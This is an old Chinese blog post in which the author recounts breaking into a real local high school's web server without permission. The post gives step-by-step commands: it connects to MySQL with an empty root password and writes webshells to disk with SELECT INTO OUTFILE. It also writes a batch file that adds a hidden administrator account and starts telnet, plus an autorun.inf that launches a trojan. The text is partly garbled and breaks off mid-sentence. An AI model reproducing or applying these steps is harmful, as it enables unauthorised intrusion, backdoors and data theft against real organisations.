一次系统艰难而真实的入侵

发表于:2007-06-23来源:作者:点击数: 标签:
网上有许多文章和帖子都是讲入侵的,但里面所叙述的入侵大多都过于简单,一般就是拿着傻瓜化的工具,输几个字母或按几下鼠标就进去了,难道这就是所谓的入侵么? 不,真正的入侵可没这么简单,不是随便利用一些教程的方法去套就能进去的,入侵是门艺术,要做

   
  网上有许多文章和帖子都是讲入侵的,但里面所叙述的入侵大多都过于简单,一般就是拿着傻瓜化的工具,输几个字母或按几下鼠标就进去了,难道这就是所谓的入侵么?

不,真正的入侵可没这么简单,不是随便利用一些教程的方法去套就能进去的,入侵是门艺术,要做好这么艺术,需要的是智慧和永不放弃的精神,更需要有精明的头脑,灵活的运用已知的一些信息,入侵可不是三两下子就能完成的,1天,1个星期都有可能,好了,不讲大道理了,来看看俺入侵的经历吧。
  
  一天在上了本地一个重点高中的网站,听说这个学校的计算机很厉害,也是本人心仪以久的中学(没办法,初3了……),但是我习惯性的在一个新闻后面输入:
  
  http://host/home/xwzx/xwzxfile.php?id=53
  于是入侵就这样开始了……
  
  1,信息收集与分析:
  
  输入完后出现了下面的字:
  
  Warning: Supplied argument is not a valid MySQL result resource in D:\\wangzhan\\home\\xwzx\\xwzxfile.php on line 191
  
  这一行字真让我欣喜不以,它不仅暴露出了网站的数据库是MYSQL的,还显示出了网站的物理路径。接着我拿出X-WAY扫了它的IP,发现只开了21,445,80,3306端口,很有可能装了防火墙或是端口过滤,扫描了CGI等漏洞,并没有发现什么有价值的漏洞,仔细看看者个网站的模版,并不象是现成的,很有可能是自己编的,仔细分析下来已经有了3个突破口:
  
  1,21端口,FTP IP 21,得到BANNER是Serv-U的FTP服务,好象Serv-U并没有什么可以直接利用远程得到密码漏洞,不过可以暴力破解,是一个安全隐患。
  
  2,80端口,既然页面是可以交互的PHP,接着我注意到下面有个网站管理的入口,管理员并没有把它删掉,看来安全意识不强,很有可能用SQL注射攻入,不过我并会MYSQL注射,不过MSSQL和MYSQL都是SQL我想注射的方法也不会差太多,不过MYSQL没什么权限,但是只要能猜出页面管理员的入口的口令就差不多了,还值得一提的是网站还有个论坛,是紫桐的,版本不清楚,应该可以利用。
  
  3,3306端口,MYSQL服务的端口,很有可能存在弱口令,就算没有也可以用MYSQL暴力破解器来破解密码。
  
  telnet ip 80
  
  get
  
  得到的banner是IIS5.0,看来主机是iis5.0+php+mysql
  
  2,攻击开始:
  
  首先试试成功几率最大的MYSQL吧,下载了一个牛族MYSQL连接器,输入对方IP,密码为空,点“开始连接”。结果非常另人激动,那就是成功的连上去了,看来这所学校不是很重视网络安全,本以为接下来的事会很简单,但事与愿违,我又遇到了更复杂的情况。
  
  有了MYSQL空密码以后的一般思路就是:先建立一个表,接着一行一行把ASP后门的代码写进去,接着导出,这样就变成了WEBSHELL,最后就是提升权限,用牛族连上去后,我就开始实现上面的思路,先在上面的框框里输入:
  
  use mysql;
  
  发送命令
  
  “发送use mysal;成功!”
  
  create table tmp(cmd TEXT)
  
  发送命令
  
  “发送create table tmp(cmd TEXT)成功!”
  
  说明:选择在名叫mysql的库中建一个名叫tmp的表,这个表只有一个字段名叫cmd,数据类型为TEXT
  
  再生成的表中写入内容并导出到系统目录上然后删除键的表
  
  insert into tmp values(\"
  
  \"\" method=\"\"POST\"\">
  
  
一次系统艰难而真实的入侵

  
  写好后,再导出放在d:\\wangzhan\\home\\,存为cmd.asp,还有d:\\\\注意啊是双斜杠由于换行的原因必须一行一行的写进去,还有ASP文件里的双引号都要用两个双引号代替.
  
  花了10几分钟终于写好了,访问URL:http://www.%school%.com/home/cmd.asp,却出现了
  
  “505 服务器内部错误”,
  
  看的我一头雾水,仔细想想,莫非服务器不支持ASP?!我没往下想,先想办法再说,因为我已经写入了,我现在又不能删除,如果被管理员发现那个ASP就糟了,于是我再重网上DOWN了一个PHPSHELL,用记事本一打开,代码的长度是CMD.ASP的N倍,如果要一行一行的输入进去的话……于是我找朋友要了一个CMD下的MYSQL连接器,在CMD下输入:
  
  mysql -h ip -uroot
  
  意思是连接远程的MYSQL,并且执行php.sql里的SQL语句,php.sql的代码:
  
  use test;
  
  create table tmp(cmd TEXT);
  
  insert into tmp values(\phpshell每行的代码\)
  
  insert into tmp values(\phpshell每行的代码\)
  
  insert into tmp values(\phpshell每行的代码\)
  
  ……
  
  select * from tmp into outfile \D:\\\\wangzhan\\\\wangzhan\\\\cmd2.php\;
  
  drop table tmp;
  
  意思跟上面说的差不多,也是一行一行的输入代码(由于PHP要换行的原因,所以要一行一行输),接着导出,最后删除,只是我编辑php.sql时候用了些小技巧,如果在每行PHPSHELL代码前都添加
  
  insert into tmp values(\和末尾都添加\)
  
  的话,工程量是可想而知的,所以我就用了一个特殊文本编辑器—易优超级字典生成器注册版,
  
  它有一个小功能,在修改字典里,有两个选项,一个是“在每个密码前插入字符串”另一个是
  
  “在每个密码后插入字符串”嘿嘿,聪明的读者应该想到了吧,先把phpshell.php改为phpshell.txt,接着用它编辑,勾选那两个选项,然后分别写上
  
  insert into tmp values(\,(由于一次不能写这么多,所以我就写 tmp values,输出好后,再插入insert into)和\),
  
  (不过首先用记事本打开那个phpshell.txt,把所以的\"改为\"\",然后才能用易优超级字典生成器注册版编辑,因为SQL语句里所有的\"都要用\"\"代替,真是麻烦……)
  
  输出好后,再加上
  
  use test;
  
  select * from tmp into outfile \D:\\\\wangzhan\\\\wangzhan\\\\cmd2.php\;
  
  drop table tmp;
  
  最后改名为php.sql,好了,回到上面,
  
  mysql -h ip -uroot
  
  回车后出现:
  
  error on line 47 \"\\\"……
  
  还有一些,由于当时没截图,就记不清了,反正意思是\"\\\" \"/*\"等等这类的字符无法导入,当时的心情真是·#¥……%,也许这时许多人都会想到放弃,但是黑客的精神就是“永不放弃”啊!~(虽然俺不是黑客:))
  
  3,山穷水尽
  
  于是重新在网上DOWN了一个功能超强的MYSQL管理工具
  
  —EMS MySQL Manager 2
  
  好险是半中文界面,试了几次后,终于把操作方法摸熟了,
  
  大家可以看到,随便进入了一个项,点右键—新建表,然后把表的名字改为love,点下一步,把类型改为TEXT,
  
  最后点“好的”接着右键点LOVE表,数据操作—导入数据—点选导入文本,然后打开phpshell.txt,最后点完成,最后等待了,
  
  完成后,仔细看了表里的内容,确认和phpshell原代码一样后,用牛族MYSQL连接器导出了,用浏览器浏览,还是出现错误,真实郁闷啊,哪位高手知道到底是怎么回事一定要告诉我,小弟不甚感激。
  
  接着我想到了那个BBS,正好MYSQL里有个BBS的项,进入,打开USER的表,第一行就是WEBMASTER,密码是用32位MD5加密的,用MD5解密,纯数字和字典都没成功,看来只好放弃了……
  
  然后我又想到了用autorun.inf和BAT,于是,我再一次打开了牛族MYSQL连接器,输入:
  
  insert into tmp values(\"net user shuangfeng /add\")
  
  发送命令(成功)
  
  insert into tmp values(\"net localgroup administrators shuangfeng /add\")
  
  发送命令(成功)
  
  insert into tmp values(\"net start telnet\")
  
  发送命令(成功)
  
  insert into tmp values(\"del telnet\")
  
  发送命令(成功)
  
  select * from tmp into outfile \"d:\\\\telnet.bat\"
  
  drop table tmp
  
  写完BAT后再写autorun.inf
  
  insert into tmp values(\"[AutoRun]\")
  
  发送命令(成功)
  
  insert into tmp values(\"OPEN= d:\\muma.exe /autorun\")
  
  发送命令(成功)
  
  select * from tmp into outfile \"d:\\\\autorun.inf\"
  
  drop table tmp
  
  把这两个文件C盘,D盘,E盘都放了.
  
  4,绝处逢生
  
  第2天一打开电脑,就在cmd里输入telnet ip,返回的却是:
  
  正在连接到xxx.xxx.xxx.xxx...不能打开到主机的连接, 在端口 23: 连接失败
  
  当时真的很郁闷,又想到了21的FTP,又一个思路冒出来,下载一个serv-u,设置好密码后在把serv-udaemon.ini写进对方主机,最后登陆,不过仔细想想还是不行,因为MYSQL导出的文件不能覆盖其他文件……
  
  不行,我还是不能放弃,我把注意力转移到MYSQL的数据上,仔细搜索,发现一个“wangzhan\"的列,进入后发现USER的表,看到里面有几个帐号,密码是名文保存的,接着我联想到网站上的管理系统,于是马上依照了第一个行的帐号登入,结果证明了我的猜测,我成功的进入了,只有发布新闻,下载等栏目,
  
  并

原文转自:http://www.ltesting.net